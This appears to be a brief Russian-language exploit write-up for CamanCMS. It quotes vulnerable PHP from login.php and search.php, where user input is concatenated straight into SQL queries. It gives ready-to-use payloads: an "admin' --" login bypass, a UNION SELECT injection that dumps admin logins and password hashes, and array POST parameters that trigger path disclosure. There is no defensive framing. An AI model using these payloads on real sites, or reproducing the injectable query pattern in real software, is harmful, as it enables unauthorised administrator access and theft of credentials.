CamanCMS
sql-inj (Заходим под админом)
login.php
PHP код:
// ...
if($_GET["do"] == "login")
{
$login = htmlspecialchars($_POST["login"]);
$password = md5(htmlspecialchars($_POST["password"]));
$query_user = @mysql_query("SELECT * FROM ".$pref."users WHERE login='".$login."' AND password='".$password."' LIMIT 1");
// ...
Код:
Login: admin' --
Password: любой
sql-inj
search.php
PHP код:
// ...
$search = htmlspecialchars($_POST["search"]);
$query_search = @mysql_query("SELECT * FROM ".$pref."news WHERE short_news LIKE '%$search%' OR full_news LIKE '%$search%'");
// ...
Код:
В поле поиска вводим: ' union select 1,2,concat_ws(0x3b,login,password),4,5,6,7,8 from users where admin=1--
Раскрытие путей
Из-за htmlspecialchars в search.php (код выше)
Код:
http://localhost/search/
POST: search[]
2.
Код:
И в login.php
POST:login[]